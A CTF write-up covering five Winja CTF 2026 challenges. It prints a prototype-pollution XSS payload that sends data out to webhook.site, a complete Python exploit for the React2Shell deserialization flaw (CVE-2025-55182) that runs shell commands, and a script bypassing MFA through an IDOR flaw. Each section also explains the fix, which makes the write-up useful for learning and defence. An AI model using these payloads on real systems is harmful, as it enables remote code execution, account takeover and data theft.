WinjaCTF 2026 Writeup
These writeups cover five challenges from Winja CTF 2026. Each one walks through the bug, why it’s exploitable, and how I went about popping it.
1. HR Portal - Prototype Pollution to XSS
The Challenge
The HR Portal lets employees submit and update profile info through a web form. It takes JSON data for employee records - name, employee ID, role, department, email, the usual stuff.
Quick Primer on Prototype Pollution
Every JavaScript object inherits from Object.prototype. When you access a property, JS looks at the object first, then walks up the prototype chain until it hits Object.prototype.
Prototype Pollution is what happens when an attacker manages to inject properties into Object.prototype. Since every object inherits from it, one polluted property affects the entire runtime.
The typical vector is an unsafe recursive merge or deep-copy function that doesn’t filter out __proto__:
// Vulnerable merge function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attacker input
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
// Now EVERY object has isAdmin === true
console.log({}.isAdmin); // true
Why This App is Vulnerable
The HR Portal backend takes user-supplied JSON and merges it into an internal employee object without sanitizing __proto__. So we can shove arbitrary properties into Object.prototype.
The real escalation from Prototype Pollution to XSS comes from polluting toString. When JS implicitly converts an object to a string (during DOM rendering via innerHTML, template interpolation, etc.), it calls toString(). If we overwrite Object.prototype.toString with an HTML string containing a script tag or event handler, every object-to-string conversion becomes an XSS sink.
How I Solved It
Step 1 - Build the Prototype Pollution payload:
We inject __proto__.toString with an img tag. The onerror handler fires JS when the (intentionally broken) image fails to load:
{
"__proto__": {
"toString": "<img src=x onerror=\"fetch('/flag').then(r=>r.text()).then(t=>fetch('https://webhook.site/<your-id>/',{method:'POST',mode:'no-cors',body:t}))\">"
},
"name": "Admin Fetcher",
"employee_id": "EMP-007",
"role": "Security",
"department": "IT",
"email": "test@test.com"
}
Step 2 - XSS chain triggers:
- Backend stores the employee record with the polluted prototype
- When the portal renders any employee object as a string (dashboard, list view, etc.),
toString()returns our img tag instead of[object Object] - Browser parses the img tag, tries to load
src=x, fails, triggersonerror - The JS in
onerrorfetchesGET /flagfrom the server - Flag contents get
POSTed to our webhook endpoint
Step 3 - Grab the flag from webhook.site:
The flag shows up as a POST body at the attacker-controlled webhook URL.
Takeaways
- Prototype Pollution often gets dismissed as low-severity, but chaining it with XSS via
toStringpollution makes it critical - Fix: sanitize
__proto__,constructor, andprototypekeys from user input before merging
2. Inventory Core - Git Forensics
The Challenge
We got a ZIP file (challenge.zip) containing a Git repo called inventory-core/. Inside was a Python build manifest verification tool (core.py). Goal: find a hidden flag somewhere in the repo.
Git Reflog 101
Git’s reflog (reference log) records every change to branch tips and HEAD. Unlike commit history (which is a DAG), the reflog is a sequential log of where HEAD pointed over time.
The key thing: when someone uses git reset to “delete” a commit, the commit object still exists in .git/objects/. The branch pointer moves, but the dangling commit stays accessible through the reflog until git gc prunes it (default: 90 days).
Why This Repo Leaks Secrets
The developer committed sensitive data (the flag) in INTERNAL_NOTE.txt, realized it was a mistake, and ran:
git reset HEAD~1
This moved the master branch pointer back one commit, making the sensitive commit vanish from git log. But the commit itself was never actually deleted - it just became a dangling object in the reflog.
This is a super common mistake. Devs think git reset “erases” a commit when it really just moves the pointer. GitHub and GitLab also retain force-pushed commits in internal storage.
How I Solved It
Step 1 - Check the visible history:
$ git log --oneline
03592dd (HEAD -> master) initial inventory core logic
Single commit. Nothing interesting in core.py.
Step 2 - Check the reflog:
$ git reflog
03592dd HEAD@{0}: reset: moving to HEAD~1
8cdd058 HEAD@{1}: commit: temporary internal note
03592dd HEAD@{2}: commit (initial): initial inventory core logic
Three entries:
- Initial commit
- A commit called “temporary internal note” (suspicious!)
- A
resetthat movedHEADback - this is the “deletion”
Step 3 - Check the deleted commit:
$ git show 8cdd058
commit 8cdd058...
temporary internal note
diff --git a/INTERNAL_NOTE.txt b/INTERNAL_NOTE.txt
+++ b/INTERNAL_NOTE.txt
@@ -0,0 +1 @@
+temporary_note=flag{c9463f034cf694deccb13655a5b48656_$UPPly_ch@in_I5_fUN}
There it is. The “deleted” commit had INTERNAL_NOTE.txt with the flag.
Takeaways
git resetdoes NOT delete commits - usegit filter-branchor BFG Repo-Cleaner to actually purge secrets- Always check
git reflog,git fsck --lost-found, andgit log --all --reflogwhen doing Git forensics - This kind of thing happens all the time with AWS keys, API tokens, and passwords in real repos
3. KedCorrupted - Keras Supply Chain Backdoor
The Challenge
We got kedcorrupted.zip - a ZIP containing a full copy of the Keras deep learning framework. The name “KedCorrupted” hints that something’s been tampered with. Goal: find the malicious modification and grab the flag.
Supply Chain Attacks in a Nutshell
A supply chain attack goes after the tools, libraries, or build processes developers use instead of attacking the final application. Compromise a popular library and your code runs on every system that imports it.
Some real-world examples:
- event-stream (2018): Malicious maintainer added a dependency that stole Bitcoin wallets
- ua-parser-js (2021): npm package hijacked to install cryptominers
- PyPI typosquatting: Packages like
python3-dateutil(typosquat ofpython-dateutil) stealing SSH keys
Why This Keras Copy is Backdoored
The provided Keras library is a trojanized copy of the official release. One or more source files got modified to include a backdoor. With hundreds of Python files across dozens of modules, the backdoor blends right in with legitimate code.
How I Solved It
Step 1 - Figure out the version:
Extracted the ZIP. Checked PKG-INFO and pyproject.toml to pin down the exact Keras version.
Step 2 - Diff against the official source:
Downloaded the same version from PyPI and ran a recursive diff:
diff -r official_keras/ kedcorrupted/kedcorrupted/ --brief
Files that differ from the official release are the tampered ones. Most of the library is untouched - only a few files have changes.
Step 3 - Inspect the modified files:
Looked through each differing file for:
- Injected
exec(),eval(), oros.system()calls - Base64-encoded strings
- Obfuscated code blocks
- Flag strings hidden in comments, docstrings, or variable assignments
Found the flag inside one of the tampered source files.
Takeaways
- Always verify package integrity with checksums or signatures
- Tools like
pip-audit,safety, andSigstorehelp catch compromised packages - Pin exact versions and use lock files to reduce supply chain exposure
4. Shellmates - RCE via React2Shell (CVE-2025-55182)
The Challenge
We had a web app at https://shellmates.definitelynotevilcorp.site/ running Next.js with React Server Components. Goal: pop a shell (or at least get RCE) and read the flag.
What’s CVE-2025-55182 (React2Shell)?
React2Shell is a critical deserialization bug in the React Flight protocol - the internal serialization format Next.js uses to stream data between server and client components.
The Flight protocol uses a compact text format where prefixes like $ denote references to other objects. For example, $1 refers to object at index 1 in the response stream.
The vuln exists because the deserializer resolves dot-separated property access paths without any restriction. A reference like $1:__proto__:then traverses the prototype chain, and $1:constructor:constructor reaches the Function constructor - which is basically eval().
Why It’s Exploitable
Two problems:
- Unrestricted property traversal: The deserializer follows any path like
$1:__proto__:then, giving access to built-in JS objects - Function constructor access: Reaching
Function(viaconstructor.constructor) lets us create and execute arbitrary functions
The attack flow:
User Input -> Flight Deserializer -> $1:constructor:constructor -> Function("malicious code") -> RCE
How I Solved It
Step 1 - ID the stack:
Response headers and /_next/ asset paths confirmed Next.js + RSC. Googling recent CVEs for this stack pointed to CVE-2025-55182.
Step 2 - Build the Flight protocol payload:
import requests, json
BASE_URL = "https://shellmates.definitelynotevilcorp.site/"
crafted_chunk = {
"then": "$1:__proto__:then", # Traverse prototype chain
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": (
"var res = process.mainModule"
".require('child_process')"
".execSync('cat /flag*.txt', {'timeout': 5000})"
".toString().trim(); "
"throw Object.assign(new Error('NEXT_REDIRECT'), "
"{digest: `${res}`});"
),
"_formData": {
"get": "$1:constructor:constructor", # Reach Function constructor
},
},
}
Breaking down the payload:
$1:__proto__:then- accessesObject.prototype.then, making the deserializer treat the object as a thenable (Promise-like)$1:constructor:constructor- goes from any object to itsconstructor(e.g.,Object) toObject.constructorwhich isFunction- The
_prefixstring gets passed to theFunctionconstructor and executed as JS process.mainModule.require('child_process').execSync(...)runs an OS command- Output gets smuggled back via a
NEXT_REDIRECTerror digest
Step 3 - Send as multipart form data:
Server Actions in Next.js expect multipart/form-data. The Next-Action header (even a dummy value) is needed to hit the Server Action code path:
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
res = requests.post(BASE_URL, files=files, headers={"Next-Action": "x"})
print(res.text)
Step 4 - Flag in the response:
Command output showed up in the Flight response stream as the digest of a NEXT_REDIRECT error:
flag{0be093ac66253687b2d035e80f22ff99_r3@CT2sheL1}
Takeaways
- Deserializing untrusted data remains one of the most dangerous vuln classes out there
- The React Flight protocol was built for internal server-client comms, not as a public API - but Server Actions expose it to user input
- Any deserializer that can resolve arbitrary property paths is essentially
eval()
5. SSO Portal - MFA Bypass via IDOR
The Challenge
The DefinitelyNotEvilCorp SSO Portal has MFA for all users. After entering username/password, you need a 6-digit TOTP code. Goal: bypass MFA and get into the admin dashboard.
IDOR - The Short Version
Insecure Direct Object Reference (IDOR) is when an app uses user-supplied identifiers (IDs, filenames, etc.) to access internal objects without checking if the requester is actually allowed to access them.
Here, the MFA verification endpoint takes user_id and mfa_id as form parameters and trusts them blindly instead of pulling them from the authenticated session.
TOTP Recap
TOTP (Time-based One-Time Password) from RFC 6238 works like this:
- A shared secret is set up between server and client (usually via QR code)
- Both sides compute
HMAC-SHA1(secret, floor(time / 30))to get a 6-digit code - Code rotates every 30 seconds
- Since both sides know the secret and the current time, they independently produce matching codes
TOTP security hinges entirely on keeping the shared key secret.
How I Solved It
Step 1 - Find admin creds:
Challenge hint: “The lazy administrator still writes their password on sticky notes.” Checked robots.txt:
User-agent: *
Disallow: /admin-credentials
# Note to self: admin:HowCanIForgetThisSecurePassword$123!
Yep. Admin password sitting right there in robots.txt. Classic.
Step 2 - Register a test user and extract the TOTP secret:
The portal had /register. After creating a user (qr_test_user:password123), it showed a QR code for TOTP setup.
Decoded the QR code with zbarimg:
otpauth://totp/DefinitelyNotEvilCorp:qr_test_user
?secret=TFYH4NFCEHIMFFGQEV2WDRBCFMZDKUWQ
&issuer=DefinitelyNotEvilCorp
Now we have the TOTP secret and can generate valid codes:
import pyotp
totp = pyotp.TOTP("TFYH4NFCEHIMFFGQEV2WDRBCFMZDKUWQ")
print(totp.now()) # Valid 6-digit code
Step 3 - Spot the MFA logic flaw:
After logging in, the MFA page had hidden form fields for user_id and mfa_id - both are UUIDs that identify the account and its MFA configuration respectively.
The POST /verify-mfa endpoint takes:
user_id- which account to grant access tomfa_id- which MFA config to validate the OTP againstotp- the 6-digit TOTP code
The bug: the server validates the OTP against whatever mfa_id is in the request, but never checks that the mfa_id actually belongs to the user_id or the current session. So we can send:
- The admin’s
user_id(server grants access to admin) - Our test user’s
mfa_id(server checks OTP against our secret) - A valid OTP from our known secret
Step 4 - Pull the trigger:
import requests, pyotp
from bs4 import BeautifulSoup
SECRET = "TFYH4NFCEHIMFFGQEV2WDRBCFMZDKUWQ"
# Login as test user -> grab their mfa_id
test_session = requests.Session()
r = test_session.post("https://sso.definitelynotevilcorp.site/login",
data={"username": "qr_test_user", "password": "password123"})
soup = BeautifulSoup(r.text, 'html.parser')
test_mfa_id = soup.find('input', {'name': 'mfa_id'})['value']
# Login as admin -> grab admin's user_id and session cookie
admin_session = requests.Session()
r = admin_session.post("https://sso.definitelynotevilcorp.site/login",
data={"username": "admin", "password": "HowCanIForgetThisSecurePassword$123!"})
soup = BeautifulSoup(r.text, 'html.parser')
admin_user_id = soup.find('input', {'name': 'user_id'})['value']
# Generate valid OTP using our known secret
code = pyotp.TOTP(SECRET).now()
# Submit: admin's session + admin's user_id + test user's mfa_id + test user's OTP
r = admin_session.post("https://sso.definitelynotevilcorp.site/verify-mfa",
data={"user_id": admin_user_id, "mfa_id": test_mfa_id, "otp": code},
allow_redirects=False)
# Follow redirect to admin dashboard
dashboard = admin_session.get("https://sso.definitelynotevilcorp.site/dashboard")
print(dashboard.text) # Contains the flag
What’s happening server-side:
- Session cookie authenticates us as admin
- Server looks up MFA config by
mfa_id- gets our test user’s secret - Server validates our OTP against the test user’s secret - it matches
- Server looks up the account by
user_id- gets the admin account - Server marks the admin session as MFA-verified and redirects to dashboard
Flag on the admin dashboard:
flag{22a30ca7cbfdb720a57057a45059aea4_mf4_BYP455_VIA_iDOr_i5_CR42Y}
Takeaways
- MFA verification should always derive user identity from the server-side session, never from client-supplied params
- Hidden form fields aren’t security controls - they’re trivially editable
- This IDOR breaks the core assumption that MFA is bound to a specific user - swapping
mfa_idlets us skip the admin’s MFA entirely without ever knowing their TOTP secret
Writeups by Rahul - Winja CTF 2026 @ DefinitelyNotEvilCorp